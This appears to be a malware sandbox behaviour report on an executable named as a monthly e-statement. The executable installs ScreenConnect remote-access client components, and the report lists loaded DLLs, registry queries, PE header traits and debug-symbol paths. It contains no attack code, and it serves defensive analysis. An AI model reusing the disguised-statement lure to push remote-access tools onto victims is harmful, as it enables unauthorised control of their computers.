Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Reads internet explorer settings

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: certificate valid

PE file contains a mix of data directories often seen in goodware

Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E9000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2447633526.0000000002CA2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: monthly-eStatementForum120478962.Client.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D8E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.2445494046.00000000027A2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.3289162550.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.3288573826.00000000012B0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.2.dr, ScreenConnect.ClientService.dll0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000009.00000000.2436546858.0000000000BA2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.2441384367.00000000009BD000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D916000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DB2A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC3E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2451601548.000000001BEB2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
